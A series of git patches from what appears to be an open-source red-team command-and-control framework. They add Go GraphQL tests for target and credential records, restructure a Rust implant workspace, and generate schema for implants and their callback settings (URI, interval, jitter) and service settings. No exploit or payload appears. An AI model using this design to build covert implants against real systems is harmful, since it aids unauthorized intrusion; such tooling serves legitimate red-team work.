)) + t.Run("DuplicateName", newCreateTargetTest( + gqlClient, + graphql.CreateTargetInput{ + Name: "TestTarget1", + ForwardConnectIP: "10.0.0.2", + }, + func(t *testing.T, id int, err error) { + assert.Zero(t, id) + require.ErrorContains(t, err, "ent: constraint failed: UNIQUE constraint failed: targets.name") + }, + )) + t.Run("DuplicateIP", newCreateTargetTest( + gqlClient, + graphql.CreateTargetInput{ + Name: "TestTarget2", + ForwardConnectIP: "10.0.0.1", + }, + func(t *testing.T, id int, err error) { + assert.Zero(t, id) + require.ErrorContains(t, err, "ent: constraint failed: UNIQUE constraint failed: targets.forward_connect_ip") + }, + )) +} + +func newCreateTargetTest(gqlClient *client.Client, input graphql.CreateTargetInput, checks ...func(t *testing.T, id int, err error)) func(t *testing.T) { + return func(t *testing.T) { + // Define the mutatation for testing, taking the input as a variable + mut := `mutation CreateTarget($input: CreateTargetInput!) { createTarget(target:$input) { id } }` + + // Make our request to the GraphQL API + var resp struct { + CreateTarget struct{ ID int } + } + err := gqlClient.Post(mut, &resp, client.Var("input", input)) + + // Run checks with error (if any) and resulting TargetID + for _, check := range checks { + check(t, resp.CreateTarget.ID, err) + } + } +} From f68f64a05c62e32b2ba19b86b58fb5e4746c6ec0 Mon Sep 17 00:00:00 2001 From: Kyle Carretto Date: Tue, 22 Feb 2022 04:02:05 +0000 Subject: [PATCH 09/56] Added test for targets root query --- graphql/mutation.target_test.go | 98 +++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) diff --git a/graphql/mutation.target_test.go b/graphql/mutation.target_test.go index 603bccf27..dd9310182 100644 --- a/graphql/mutation.target_test.go +++ b/graphql/mutation.target_test.go @@ -6,6 +6,7 @@ import ( "github.com/99designs/gqlgen/client" "github.com/99designs/gqlgen/graphql/handler" + "github.com/kcarretto/realm/ent" "github.com/kcarretto/realm/ent/enttest" "github.com/kcarretto/realm/graphql" "github.com/stretchr/testify/assert" @@ -14,6 +15,103 @@ import ( _ "github.com/mattn/go-sqlite3" ) +// TestQueryTargets ensures the target root query exhibits expected behavior. +func TestQueryTargets(t *testing.T) { + // Initialize Test Context + ctx := context.Background() + + // Initialize DB Backend + graph := enttest.Open(t, "sqlite3", "file:ent?mode=memory&cache=shared&_fk=1") + defer graph.Close() + + // Initialize sample data + type testTarget struct { + name string + ip string + } + createTargets := func(testTargets ...testTarget) (targetIDs []int) { + for _, target := range testTargets { + targetIDs = append(targetIDs, + graph.Target. + Create(). + SetName(target.name). + SetForwardConnectIP(target.ip). + SaveX(ctx).ID, + ) + } + return + } + targetIDs := createTargets( + testTarget{"G1 - Target1", "10.0.0.1"}, + testTarget{"G2 - Target2", "10.0.0.2"}, + testTarget{"G2 - Target3", "10.1.0.1"}, + ) + + // Create a new GraphQL client + gqlClient := client.New(handler.NewDefaultServer(graphql.NewSchema(graph))) + + // Run Tests + t.Run("All", newQueryTargetsTest( + gqlClient, + nil, + targetIDs, + )) + + namePrefix := "G2 - " + t.Run("ByNamePrefix", newQueryTargetsTest( + gqlClient, + &ent.TargetWhereInput{ + NameHasPrefix: &namePrefix, + }, + targetIDs[1:3], // Second and Third + )) + + subnetPrefix := "10.0.0." + t.Run("BySubnetPrefix", newQueryTargetsTest( + gqlClient, + &ent.TargetWhereInput{ + ForwardConnectIPHasPrefix: &subnetPrefix, + }, + targetIDs[:2], // First and Second + )) + +} + +func newQueryTargetsTest(gqlClient *client.Client, where *ent.TargetWhereInput, expectedTargetIDs []int) func(t *testing.T) { + return func(t *testing.T) { + // Define the mutatation for testing, taking the input as a variable + query := `query QueryTargets($where: TargetWhereInput) { targets(where:$where) { edges { node { id } } } }` + + // Define what our response looks like (Relay Compliant) + var resp struct { + Targets struct { + Edges []struct{ Node struct{ ID int } } + } + } + + // Set request variables based on what is provided + var vars []client.Option + if where != nil { + vars = append(vars, client.Var("where", where)) + } + + // Make our request to the GraphQL API + gqlClient.MustPost(query, &resp, vars...) + + // Collect resulting target ids + targetIDs := make([]int, 0, len(resp.Targets.Edges)) + for _, edge := range resp.Targets.Edges { + targetIDs = append(targetIDs, edge.Node.ID) + } + + // Ensure lists of targets are the same + assert.Len(t, targetIDs, len(resp.Targets.Edges)) + assert.Len(t, resp.Targets.Edges, len(expectedTargetIDs)) + assert.Len(t, targetIDs, len(expectedTargetIDs)) + assert.Equal(t, expectedTargetIDs, targetIDs) + } +} + // TestCreateTarget ensures the createTarget mutation exhibits expected behavior. func TestCreateTarget(t *testing.T) { // Initialize Test Context From 20eb4ad34e3a1f7868619e5086ba0886aa004449 Mon Sep 17 00:00:00 2001 From: Kyle Carretto Date: Tue, 22 Feb 2022 04:03:43 +0000 Subject: [PATCH 10/56] Split target query tests into seperate file --- graphql/mutation.target_test.go | 98 ---------------------------- graphql/query.target_test.go | 112 ++++++++++++++++++++++++++++++++ 2 files changed, 112 insertions(+), 98 deletions(-) create mode 100644 graphql/query.target_test.go diff --git a/graphql/mutation.target_test.go b/graphql/mutation.target_test.go index dd9310182..603bccf27 100644 --- a/graphql/mutation.target_test.go +++ b/graphql/mutation.target_test.go @@ -6,7 +6,6 @@ import ( "github.com/99designs/gqlgen/client" "github.com/99designs/gqlgen/graphql/handler" - "github.com/kcarretto/realm/ent" "github.com/kcarretto/realm/ent/enttest" "github.com/kcarretto/realm/graphql" "github.com/stretchr/testify/assert" @@ -15,103 +14,6 @@ import ( _ "github.com/mattn/go-sqlite3" ) -// TestQueryTargets ensures the target root query exhibits expected behavior. -func TestQueryTargets(t *testing.T) { - // Initialize Test Context - ctx := context.Background() - - // Initialize DB Backend - graph := enttest.Open(t, "sqlite3", "file:ent?mode=memory&cache=shared&_fk=1") - defer graph.Close() - - // Initialize sample data - type testTarget struct { - name string - ip string - } - createTargets := func(testTargets ...testTarget) (targetIDs []int) { - for _, target := range testTargets { - targetIDs = append(targetIDs, - graph.Target. - Create(). - SetName(target.name). - SetForwardConnectIP(target.ip). - SaveX(ctx).ID, - ) - } - return - } - targetIDs := createTargets( - testTarget{"G1 - Target1", "10.0.0.1"}, - testTarget{"G2 - Target2", "10.0.0.2"}, - testTarget{"G2 - Target3", "10.1.0.1"}, - ) - - // Create a new GraphQL client - gqlClient := client.New(handler.NewDefaultServer(graphql.NewSchema(graph))) - - // Run Tests - t.Run("All", newQueryTargetsTest( - gqlClient, - nil, - targetIDs, - )) - - namePrefix := "G2 - " - t.Run("ByNamePrefix", newQueryTargetsTest( - gqlClient, - &ent.TargetWhereInput{ - NameHasPrefix: &namePrefix, - }, - targetIDs[1:3], // Second and Third - )) - - subnetPrefix := "10.0.0." - t.Run("BySubnetPrefix", newQueryTargetsTest( - gqlClient, - &ent.TargetWhereInput{ - ForwardConnectIPHasPrefix: &subnetPrefix, - }, - targetIDs[:2], // First and Second - )) - -} - -func newQueryTargetsTest(gqlClient *client.Client, where *ent.TargetWhereInput, expectedTargetIDs []int) func(t *testing.T) { - return func(t *testing.T) { - // Define the mutatation for testing, taking the input as a variable - query := `query QueryTargets($where: TargetWhereInput) { targets(where:$where) { edges { node { id } } } }` - - // Define what our response looks like (Relay Compliant) - var resp struct { - Targets struct { - Edges []struct{ Node struct{ ID int } } - } - } - - // Set request variables based on what is provided - var vars []client.Option - if where != nil { - vars = append(vars, client.Var("where", where)) - } - - // Make our request to the GraphQL API - gqlClient.MustPost(query, &resp, vars...) - - // Collect resulting target ids - targetIDs := make([]int, 0, len(resp.Targets.Edges)) - for _, edge := range resp.Targets.Edges { - targetIDs = append(targetIDs, edge.Node.ID) - } - - // Ensure lists of targets are the same - assert.Len(t, targetIDs, len(resp.Targets.Edges)) - assert.Len(t, resp.Targets.Edges, len(expectedTargetIDs)) - assert.Len(t, targetIDs, len(expectedTargetIDs)) - assert.Equal(t, expectedTargetIDs, targetIDs) - } -} - // TestCreateTarget ensures the createTarget mutation exhibits expected behavior. func TestCreateTarget(t *testing.T) { // Initialize Test Context diff --git a/graphql/query.target_test.go b/graphql/query.target_test.go new file mode 100644 index 000000000..69fa54a4e --- /dev/null +++ b/graphql/query.target_test.go @@ -0,0 +1,112 @@ +package graphql_test + +import ( + "context" + "testing" + + "github.com/99designs/gqlgen/client" + "github.com/99designs/gqlgen/graphql/handler" + "github.com/kcarretto/realm/ent" + "github.com/kcarretto/realm/ent/enttest" + "github.com/kcarretto/realm/graphql" + "github.com/stretchr/testify/assert" + + _ "github.com/mattn/go-sqlite3" +) + +// TestQueryTargets ensures the target root query exhibits expected behavior. +func TestQueryTargets(t *testing.T) { + // Initialize Test Context + ctx := context.Background() + + // Initialize DB Backend + graph := enttest.Open(t, "sqlite3", "file:ent?mode=memory&cache=shared&_fk=1") + defer graph.Close() + + // Initialize sample data + type testTarget struct { + name string + ip string + } + createTargets := func(testTargets ...testTarget) (targetIDs []int) { + for _, target := range testTargets { + targetIDs = append(targetIDs, + graph.Target. + Create(). + SetName(target.name). + SetForwardConnectIP(target.ip). + SaveX(ctx).ID, + ) + } + return + } + targetIDs := createTargets( + testTarget{"G1 - Target1", "10.0.0.1"}, + testTarget{"G2 - Target2", "10.0.0.2"}, + testTarget{"G2 - Target3", "10.1.0.1"}, + ) + + // Create a new GraphQL client + gqlClient := client.New(handler.NewDefaultServer(graphql.NewSchema(graph))) + + // Run Tests + t.Run("All", newQueryTargetsTest( + gqlClient, + nil, + targetIDs, + )) + + namePrefix := "G2 - " + t.Run("ByNamePrefix", newQueryTargetsTest( + gqlClient, + &ent.TargetWhereInput{ + NameHasPrefix: &namePrefix, + }, + targetIDs[1:3], // Second and Third + )) + + subnetPrefix := "10.0.0." + t.Run("BySubnetPrefix", newQueryTargetsTest( + gqlClient, + &ent.TargetWhereInput{ + ForwardConnectIPHasPrefix: &subnetPrefix, + }, + targetIDs[:2], // First and Second + )) + +} + +func newQueryTargetsTest(gqlClient *client.Client, where *ent.TargetWhereInput, expectedTargetIDs []int) func(t *testing.T) { + return func(t *testing.T) { + // Define the mutatation for testing, taking the input as a variable + query := `query QueryTargets($where: TargetWhereInput) { targets(where:$where) { edges { node { id } } } }` + + // Define what our response looks like (Relay Compliant) + var resp struct { + Targets struct { + Edges []struct{ Node struct{ ID int } } + } + } + + // Set request variables based on what is provided + var vars []client.Option + if where != nil { + vars = append(vars, client.Var("where", where)) + } + + // Make our request to the GraphQL API + gqlClient.MustPost(query, &resp, vars...) + + // Collect resulting target ids + targetIDs := make([]int, 0, len(resp.Targets.Edges)) + for _, edge := range resp.Targets.Edges { + targetIDs = append(targetIDs, edge.Node.ID) + } + + // Ensure lists of targets are the same + assert.Len(t, targetIDs, len(resp.Targets.Edges)) + assert.Len(t, resp.Targets.Edges, len(expectedTargetIDs)) + assert.Len(t, targetIDs, len(expectedTargetIDs)) + assert.Equal(t, expectedTargetIDs, targetIDs) + } +} From 0df07ad2bd600d9b2aaa7efbb32a33d9b06f5115 Mon Sep 17 00:00:00 2001 From: Kyle Carretto Date: Tue, 22 Feb 2022 04:19:59 +0000 Subject: [PATCH 11/56] Added Test for createCredential --- graphql/mutation.credential_test.go | 91 +++++++++++++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 graphql/mutation.credential_test.go diff --git a/graphql/mutation.credential_test.go b/graphql/mutation.credential_test.go new file mode 100644 index 000000000..a0f5430a6 --- /dev/null +++ b/graphql/mutation.credential_test.go @@ -0,0 +1,91 @@ +package graphql_test + +import ( + "context" + "testing" + + "github.com/99designs/gqlgen/client" + "github.com/99designs/gqlgen/graphql/handler" + "github.com/kcarretto/realm/ent/credential" + "github.com/kcarretto/realm/ent/enttest" + "github.com/kcarretto/realm/graphql" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + _ "github.com/mattn/go-sqlite3" +) + +// TestCreateCredential ensures the createCredential mutation exhibits expected behavior. +func TestCreateCredential(t *testing.T) { + // Initialize Test Context + ctx := context.Background() + + // Initialize DB Backend + graph := enttest.Open(t, "sqlite3", "file:ent?mode=memory&cache=shared&_fk=1") + defer graph.Close() + + // Initialize sample data + target := graph.Target.Create(). + SetName("Target1"). + SetForwardConnectIP("10.0.0.1"). + SaveX(ctx) + + // Create a new GraphQL client + gqlClient := client.New(handler.NewDefaultServer(graphql.NewSchema(graph))) + + // Run tests + t.Run("New", newCreateCredentialTest( + gqlClient, + graphql.CreateCredentialInput{ + Principal: "root", + Secret: "changeme", + Kind: credential.KindPassword, + TargetID: target.ID, + }, + func(t *testing.T, id int, err error) { + require.NoError(t, err) + assert.NotZero(t, id) + + cred := graph.Credential.GetX(ctx, id) + assert.Equal(t, "root", cred.Principal) + assert.Equal(t, "changeme", cred.Secret) + assert.Equal(t, credential.KindPassword, cred.Kind) + + credTarget, edgeErr := cred.Target(ctx) + require.NoError(t, edgeErr) + require.NotNil(t, credTarget) + assert.Equal(t, target.ID, credTarget.ID) + }, + )) + + t.Run("NoTarget", newCreateCredentialTest( + gqlClient, + graphql.CreateCredentialInput{ + Principal: "root", + Secret: "changeme", + Kind: credential.KindPassword, + }, + func(t *testing.T, id int, err error) { + assert.ErrorContains(t, err, "ent: constraint failed: FOREIGN KEY constraint failed") + assert.Zero(t, id) + }, + )) +} + +func newCreateCredentialTest(gqlClient *client.Client, input graphql.CreateCredentialInput, checks ...func(t *testing.T, id int, err error)) func(t *testing.T) { + return func(t *testing.T) { + // Define the mutatation for testing, taking the input as a variable + mut := `mutation CreateCredential($input: CreateCredentialInput!) { createCredential(credential:$input) { id } }` + + // Make our request to the GraphQL API + var resp struct { + CreateCredential struct{ ID int } + } + err := gqlClient.Post(mut, &resp, client.Var("input", input)) + + // Run checks with error (if any) and resulting CredentialID + for _, check := range checks { + check(t, resp.CreateCredential.ID, err) + } + } +} From c9a2041dcc163a8f376a3912820f552996189e0d Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 23 Feb 2022 00:45:19 +0000 Subject: [PATCH 12/56] project structure? --- cmd/imix/Cargo.lock | 5 +++++ cmd/imix/Cargo.toml | 1 + cmd/imix/eldritch/Cargo.lock | 7 +++++++ cmd/imix/eldritch/Cargo.toml | 8 ++++++++ cmd/imix/eldritch/src/lib.rs | 9 +++++++++ cmd/imix/src/main.rs | 1 + 6 files changed, 31 insertions(+) create mode 100644 cmd/imix/eldritch/Cargo.lock create mode 100644 cmd/imix/eldritch/Cargo.toml create mode 100644 cmd/imix/eldritch/src/lib.rs diff --git a/cmd/imix/Cargo.lock b/cmd/imix/Cargo.lock index a4c245770..a8146f88f 100644 --- a/cmd/imix/Cargo.lock +++ b/cmd/imix/Cargo.lock @@ -74,6 +74,10 @@ version = "0.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" +[[package]] +name = "eldritch" +version = "0.1.0" + [[package]] name = "fastrand" version = "1.7.0" @@ -276,6 +280,7 @@ name = "imix" version = "0.1.0" dependencies = [ "clap", + "eldritch", "hyper", "hyper-timeout", "hyper-tls", diff --git a/cmd/imix/Cargo.toml b/cmd/imix/Cargo.toml index 8b08d2a28..e78f65986 100644 --- a/cmd/imix/Cargo.toml +++ b/cmd/imix/Cargo.toml @@ -6,6 +6,7 @@ edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +eldritch = { path = "eldritch" } clap = { version = "3.0" } rand = "0.8.5" openssl = { version = "0.10", features = ["vendored"] } diff --git a/cmd/imix/eldritch/Cargo.lock b/cmd/imix/eldritch/Cargo.lock new file mode 100644 index 000000000..e62f78d1f --- /dev/null +++ b/cmd/imix/eldritch/Cargo.lock @@ -0,0 +1,7 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "eldritch" +version = "0.1.0" diff --git a/cmd/imix/eldritch/Cargo.toml b/cmd/imix/eldritch/Cargo.toml new file mode 100644 index 000000000..ef8d91531 --- /dev/null +++ b/cmd/imix/eldritch/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "eldritch" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/cmd/imix/eldritch/src/lib.rs b/cmd/imix/eldritch/src/lib.rs new file mode 100644 index 000000000..dad5f2100 --- /dev/null +++ b/cmd/imix/eldritch/src/lib.rs @@ -0,0 +1,9 @@ +#[cfg(test)] +mod tests { + #[test] + fn it_works() { + let result = 2 + 2; + assert_eq!(result, 4); + } +} + diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs index b399ba24c..ae8fc584f 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/imix/src/main.rs @@ -1,4 +1,5 @@ extern crate imix; +extern crate eldritch; use clap::{App, arg}; use std::fs::File; From 456048b8986ae697c4a61499de1b73549f867849 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 23 Feb 2022 02:35:29 +0000 Subject: [PATCH 13/56] RESTRUCTURING --- cmd/imix/eldritch/Cargo.lock | 7 ------- cmd/imix/eldritch/Cargo.toml | 8 -------- cmd/implants/.gitignore | 9 +++++++++ cmd/implants/Cargo.toml | 5 +++++ cmd/{imix => implants}/contrib/example_config.json | 0 cmd/implants/eldritch/.gitignore | 9 +++++++++ cmd/implants/eldritch/Cargo.toml | 6 ++++++ cmd/{imix => implants}/eldritch/src/lib.rs | 0 cmd/{ => implants}/imix/.gitignore | 0 cmd/{ => implants}/imix/Cargo.lock | 0 cmd/{ => implants}/imix/Cargo.toml | 4 +--- cmd/{ => implants}/imix/src/graphql.rs | 0 cmd/{ => implants}/imix/src/lib.rs | 0 cmd/{ => implants}/imix/src/linux.rs | 0 cmd/{ => implants}/imix/src/main.rs | 6 +++--- cmd/{ => implants}/imix/src/windows.rs | 0 16 files changed, 33 insertions(+), 21 deletions(-) delete mode 100644 cmd/imix/eldritch/Cargo.lock delete mode 100644 cmd/imix/eldritch/Cargo.toml create mode 100644 cmd/implants/.gitignore create mode 100644 cmd/implants/Cargo.toml rename cmd/{imix => implants}/contrib/example_config.json (100%) create mode 100644 cmd/implants/eldritch/.gitignore create mode 100644 cmd/implants/eldritch/Cargo.toml rename cmd/{imix => implants}/eldritch/src/lib.rs (100%) rename cmd/{ => implants}/imix/.gitignore (100%) rename cmd/{ => implants}/imix/Cargo.lock (100%) rename cmd/{ => implants}/imix/Cargo.toml (74%) rename cmd/{ => implants}/imix/src/graphql.rs (100%) rename cmd/{ => implants}/imix/src/lib.rs (100%) rename cmd/{ => implants}/imix/src/linux.rs (100%) rename cmd/{ => implants}/imix/src/main.rs (95%) rename cmd/{ => implants}/imix/src/windows.rs (100%) diff --git a/cmd/imix/eldritch/Cargo.lock b/cmd/imix/eldritch/Cargo.lock deleted file mode 100644 index e62f78d1f..000000000 --- a/cmd/imix/eldritch/Cargo.lock +++ /dev/null @@ -1,7 +0,0 @@ -# This file is automatically @generated by Cargo. -# It is not intended for manual editing. -version = 3 - -[[package]] -name = "eldritch" -version = "0.1.0" diff --git a/cmd/imix/eldritch/Cargo.toml b/cmd/imix/eldritch/Cargo.toml deleted file mode 100644 index ef8d91531..000000000 --- a/cmd/imix/eldritch/Cargo.toml +++ /dev/null @@ -1,8 +0,0 @@ -[package] -name = "eldritch" -version = "0.1.0" -edition = "2021" - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[dependencies] diff --git a/cmd/implants/.gitignore b/cmd/implants/.gitignore new file mode 100644 index 000000000..ab5f4658e --- /dev/null +++ b/cmd/implants/.gitignore @@ -0,0 +1,9 @@ +# Generated by Cargo +# will have compiled files and executables +target/ + +# These are backup files generated by rustfmt +**/*.rs.bk + +# Also not an exec create so no Cargo.lock +/Cargo.lock \ No newline at end of file diff --git a/cmd/implants/Cargo.toml b/cmd/implants/Cargo.toml new file mode 100644 index 000000000..b39ec6230 --- /dev/null +++ b/cmd/implants/Cargo.toml @@ -0,0 +1,5 @@ +[workspace] +members = [ + "imix", + "eldritch" +] \ No newline at end of file diff --git a/cmd/imix/contrib/example_config.json b/cmd/implants/contrib/example_config.json similarity index 100% rename from cmd/imix/contrib/example_config.json rename to cmd/implants/contrib/example_config.json diff --git a/cmd/implants/eldritch/.gitignore b/cmd/implants/eldritch/.gitignore new file mode 100644 index 000000000..f8d6d3adf --- /dev/null +++ b/cmd/implants/eldritch/.gitignore @@ -0,0 +1,9 @@ +# Generated by Cargo +# will have compiled files and executables +target/ + +# These are backup files generated by rustfmt +**/*.rs.bk + +# Also not an exec create so no Cargo.lock +Cargo.lock \ No newline at end of file diff --git a/cmd/implants/eldritch/Cargo.toml b/cmd/implants/eldritch/Cargo.toml new file mode 100644 index 000000000..3661b7f9e --- /dev/null +++ b/cmd/implants/eldritch/Cargo.toml @@ -0,0 +1,6 @@ +[package] +name = "eldritch" +version = "0.1.0" +edition = "2021" + +[dependencies] diff --git a/cmd/imix/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs similarity index 100% rename from cmd/imix/eldritch/src/lib.rs rename to cmd/implants/eldritch/src/lib.rs diff --git a/cmd/imix/.gitignore b/cmd/implants/imix/.gitignore similarity index 100% rename from cmd/imix/.gitignore rename to cmd/implants/imix/.gitignore diff --git a/cmd/imix/Cargo.lock b/cmd/implants/imix/Cargo.lock similarity index 100% rename from cmd/imix/Cargo.lock rename to cmd/implants/imix/Cargo.lock diff --git a/cmd/imix/Cargo.toml b/cmd/implants/imix/Cargo.toml similarity index 74% rename from cmd/imix/Cargo.toml rename to cmd/implants/imix/Cargo.toml index e78f65986..3ef845140 100644 --- a/cmd/imix/Cargo.toml +++ b/cmd/implants/imix/Cargo.toml @@ -3,10 +3,8 @@ name = "imix" version = "0.1.0" edition = "2021" -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - [dependencies] -eldritch = { path = "eldritch" } +eldritch = { path = "../eldritch" } clap = { version = "3.0" } rand = "0.8.5" openssl = { version = "0.10", features = ["vendored"] } diff --git a/cmd/imix/src/graphql.rs b/cmd/implants/imix/src/graphql.rs similarity index 100% rename from cmd/imix/src/graphql.rs rename to cmd/implants/imix/src/graphql.rs diff --git a/cmd/imix/src/lib.rs b/cmd/implants/imix/src/lib.rs similarity index 100% rename from cmd/imix/src/lib.rs rename to cmd/implants/imix/src/lib.rs diff --git a/cmd/imix/src/linux.rs b/cmd/implants/imix/src/linux.rs similarity index 100% rename from cmd/imix/src/linux.rs rename to cmd/implants/imix/src/linux.rs diff --git a/cmd/imix/src/main.rs b/cmd/implants/imix/src/main.rs similarity index 95% rename from cmd/imix/src/main.rs rename to cmd/implants/imix/src/main.rs index ae8fc584f..e984d9ba7 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/implants/imix/src/main.rs @@ -1,7 +1,7 @@ extern crate imix; extern crate eldritch; -use clap::{App, arg}; +use clap::{Command, arg}; use std::fs::File; use std::path::Path; @@ -38,7 +38,7 @@ async fn run(config_path: String) -> Result<(), imix::Error> { #[tokio::main] async fn main() -> Result<(), imix::Error> { - let matches = App::new("imix") + let matches = Command::new("imix") .arg( arg!( -c --config "Sets a custom config file" @@ -46,7 +46,7 @@ async fn main() -> Result<(), imix::Error> { .required(false) ) .subcommand( - App::new("install") + Command::new("install") .about("Run in install mode") .arg( arg!( diff --git a/cmd/imix/src/windows.rs b/cmd/implants/imix/src/windows.rs similarity index 100% rename from cmd/imix/src/windows.rs rename to cmd/implants/imix/src/windows.rs From 31b086e8a98e2df459e75059b136d771d7b61536 Mon Sep 17 00:00:00 2001 From: Kyle Carretto Date: Wed, 23 Feb 2022 03:15:05 +0000 Subject: [PATCH 14/56] Added new Implant Ents --- cmd/tavern/internal/www/schema.graphql | 34 +- ent/client.go | 536 +++- ent/config.go | 10 +- ent/ent.go | 14 +- ent/gql_collection.go | 48 + ent/gql_edge.go | 64 + ent/gql_node.go | 314 ++- ent/gql_pagination.go | 912 ++++++ ent/gql_where_input.go | 1200 ++++++++ ent/hook/hook.go | 52 + ent/implant.go | 185 ++ ent/implant/implant.go | 68 + ent/implant/where.go | 430 +++ ent/implant_create.go | 317 +++ ent/implant_delete.go | 111 + ent/implant_query.go | 1065 +++++++ ent/implant_update.go | 585 ++++ ent/implantcallbackconfig.go | 170 ++ .../implantcallbackconfig.go | 76 + ent/implantcallbackconfig/where.go | 602 ++++ ent/implantcallbackconfig_create.go | 402 +++ ent/implantcallbackconfig_delete.go | 111 + ent/implantcallbackconfig_query.go | 1028 +++++++ ent/implantcallbackconfig_update.go | 798 ++++++ ent/implantconfig.go | 169 ++ ent/implantconfig/implantconfig.go | 72 + ent/implantconfig/where.go | 444 +++ ent/implantconfig_create.go | 365 +++ ent/implantconfig_delete.go | 111 + ent/implantconfig_query.go | 1196 ++++++++ ent/implantconfig_update.go | 882 ++++++ ent/implantserviceconfig.go | 148 + .../implantserviceconfig.go | 58 + ent/implantserviceconfig/where.go | 506 ++++ ent/implantserviceconfig_create.go | 317 +++ ent/implantserviceconfig_delete.go | 111 + ent/implantserviceconfig_query.go | 1028 +++++++ ent/implantserviceconfig_update.go | 556 ++++ ent/migrate/schema.go | 130 + ent/mutation.go | 2509 ++++++++++++++++- ent/predicate/predicate.go | 12 + ent/runtime.go | 64 + ent/schema/implant.go | 52 + ent/schema/implant_callback_config.go | 46 + ent/schema/implant_config.go | 53 + ent/schema/implant_service_config.go | 37 + ent/schema/target.go | 7 +- ent/target.go | 18 +- ent/target/target.go | 9 + ent/target/where.go | 28 + ent/target_create.go | 35 + ent/target_query.go | 68 +- ent/target_update.go | 181 ++ ent/tx.go | 12 + graphql/generated.go | 2328 ++++++++++++++- graphql/schema/ent.graphql | 274 ++ graphql/schema/implant.graphql | 33 + 57 files changed, 20824 insertions(+), 167 deletions(-) create mode 100644 ent/implant.go create mode 100644 ent/implant/implant.go create mode 100644 ent/implant/where.go create mode 100644 ent/implant_create.go create mode 100644 ent/implant_delete.go create mode 100644 ent/implant_query.go create mode 100644 ent/implant_update.go create mode 100644 ent/implantcallbackconfig.go create mode 100644 ent/implantcallbackconfig/implantcallbackconfig.go create mode 100644 ent/implantcallbackconfig/where.go create mode 100644 ent/implantcallbackconfig_create.go create mode 100644 ent/implantcallbackconfig_delete.go create mode 100644 ent/implantcallbackconfig_query.go create mode 100644 ent/implantcallbackconfig_update.go create mode 100644 ent/implantconfig.go create mode 100644 ent/implantconfig/implantconfig.go create mode 100644 ent/implantconfig/where.go create mode 100644 ent/implantconfig_create.go create mode 100644 ent/implantconfig_delete.go create mode 100644 ent/implantconfig_query.go create mode 100644 ent/implantconfig_update.go create mode 100644 ent/implantserviceconfig.go create mode 100644 ent/implantserviceconfig/implantserviceconfig.go create mode 100644 ent/implantserviceconfig/where.go create mode 100644 ent/implantserviceconfig_create.go create mode 100644 ent/implantserviceconfig_delete.go create mode 100644 ent/implantserviceconfig_query.go create mode 100644 ent/implantserviceconfig_update.go create mode 100644 ent/schema/implant.go create mode 100644 ent/schema/implant_callback_config.go create mode 100644 ent/schema/implant_config.go create mode 100644 ent/schema/implant_service_config.go create mode 100644 graphql/schema/implant.graphql diff --git a/cmd/tavern/internal/www/schema.graphql b/cmd/tavern/internal/www/schema.graphql index a6a688444..4bc10fbb1 100644 --- a/cmd/tavern/internal/www/schema.graphql +++ b/cmd/tavern/internal/www/schema.graphql @@ -262,7 +262,39 @@ type FileConnection { pageInfo: PageInfo! edges: [FileEdge] } -# Schema for all mutations that the Graph API supports. +type ImplantCallbackConfig implements Node { + id: ID! + uri: String! + priority: Int! + timeout: Int! + interval: Int! + jitter: Int! +} + +type ImplantServiceConfig implements Node { + id: ID! + name: String! + description: String! + executablePath: String! +} + +type ImplantConfig implements Node { + id: ID! + name: String! + authToken: String! + + serviceConfigs: [ImplantServiceConfig!] + callbackConfigs: [ImplantCallbackConfig!] +} + +type Implant implements Node { + id: ID! + sessionID: String! + processName: String + + target: Target! + config: ImplantConfig! +}# Schema for all mutations that the Graph API supports. type Mutation { createTarget(target: CreateTargetInput!): Target! diff --git a/ent/client.go b/ent/client.go index c03556c8b..d9ebb4e26 100644 --- a/ent/client.go +++ b/ent/client.go @@ -11,6 +11,10 @@ import ( "github.com/kcarretto/realm/ent/credential" "github.com/kcarretto/realm/ent/file" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" "github.com/kcarretto/realm/ent/target" "entgo.io/ent/dialect" @@ -27,6 +31,14 @@ type Client struct { Credential *CredentialClient // File is the client for interacting with the File builders. File *FileClient + // Implant is the client for interacting with the Implant builders. + Implant *ImplantClient + // ImplantCallbackConfig is the client for interacting with the ImplantCallbackConfig builders. + ImplantCallbackConfig *ImplantCallbackConfigClient + // ImplantConfig is the client for interacting with the ImplantConfig builders. + ImplantConfig *ImplantConfigClient + // ImplantServiceConfig is the client for interacting with the ImplantServiceConfig builders. + ImplantServiceConfig *ImplantServiceConfigClient // Target is the client for interacting with the Target builders. Target *TargetClient // additional fields for node api @@ -46,6 +58,10 @@ func (c *Client) init() { c.Schema = migrate.NewSchema(c.driver) c.Credential = NewCredentialClient(c.config) c.File = NewFileClient(c.config) + c.Implant = NewImplantClient(c.config) + c.ImplantCallbackConfig = NewImplantCallbackConfigClient(c.config) + c.ImplantConfig = NewImplantConfigClient(c.config) + c.ImplantServiceConfig = NewImplantServiceConfigClient(c.config) c.Target = NewTargetClient(c.config) } @@ -78,11 +94,15 @@ func (c *Client) Tx(ctx context.Context) (*Tx, error) { cfg := c.config cfg.driver = tx return &Tx{ - ctx: ctx, - config: cfg, - Credential: NewCredentialClient(cfg), - File: NewFileClient(cfg), - Target: NewTargetClient(cfg), + ctx: ctx, + config: cfg, + Credential: NewCredentialClient(cfg), + File: NewFileClient(cfg), + 